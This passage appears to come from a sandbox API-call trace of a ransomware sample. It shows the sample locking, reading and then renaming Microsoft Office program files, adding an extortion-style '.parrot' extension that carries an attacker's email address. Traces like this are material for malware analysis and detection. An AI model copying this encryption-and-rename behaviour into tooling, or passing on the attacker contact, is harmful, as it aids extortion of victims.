lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.574] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d51, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x8d51, lpOverlapped=0x0) returned 1 [0182.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.577] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e69, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.577] CloseHandle (hObject=0x288) returned 1 [0182.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.585] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.585] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.586] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65ab, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x65ab, lpOverlapped=0x0) returned 1 [0182.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.588] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.588] CloseHandle (hObject=0x288) returned 1 [0182.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.593] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3439, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.593] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.594] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.595] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3321, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3321, lpOverlapped=0x0) returned 1 [0182.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.596] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3439, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.596] CloseHandle (hObject=0x288) returned 1 [0182.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.601] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0182.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0182.603] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0182.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0182.603] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="AUTHOR~1.XSL")) returned 1 [0182.604] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a3d, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.604] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.604] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.605] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.605] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7925, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7925, lpOverlapped=0x0) returned 1 [0182.606] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.607] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a3d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.607] CloseHandle (hObject=0x280) returned 1 [0182.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.612] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.612] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.612] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.614] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.614] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfe6, lpOverlapped=0x0) returned 1 [0182.614] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.614] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.615] CloseHandle (hObject=0x280) returned 1 [0182.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.619] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0182.619] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0182.619] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.619] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0182.619] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0182.619] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0182.620] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8c7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.620] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.620] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.656] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b62, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8b62, lpOverlapped=0x0) returned 1 [0182.658] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.667] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8c7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.667] CloseHandle (hObject=0x27c) returned 1 [0182.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.677] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.677] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.678] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.679] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a54, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8a54, lpOverlapped=0x0) returned 1 [0182.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.681] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.681] CloseHandle (hObject=0x27c) returned 1 [0182.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.686] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8d56, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.686] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.688] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c3e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c3e, lpOverlapped=0x0) returned 1 [0182.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.689] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8d56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.689] CloseHandle (hObject=0x27c) returned 1 [0182.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.706] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8d06, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.706] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.707] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8bee, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8bee, lpOverlapped=0x0) returned 1 [0182.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.709] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8d06, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.709] CloseHandle (hObject=0x284) returned 1 [0182.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0182.715] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf8ee7ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf8ee7ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.715] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8e75880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AUTHOR~1.PAR")) returned 1 [0182.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0182.717] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0182.717] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.717] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0182.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0182.717] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0182.717] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ce1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.717] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.719] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5cd04, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5cd04, lpOverlapped=0x0) returned 1 [0182.729] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.748] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ce1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.749] CloseHandle (hObject=0x284) returned 1 [0182.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.766] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52944, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.767] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.768] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.768] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5282c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5282c, lpOverlapped=0x0) returned 1 [0182.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.811] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52944, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.812] CloseHandle (hObject=0x284) returned 1 [0182.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.859] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x402a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.859] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, 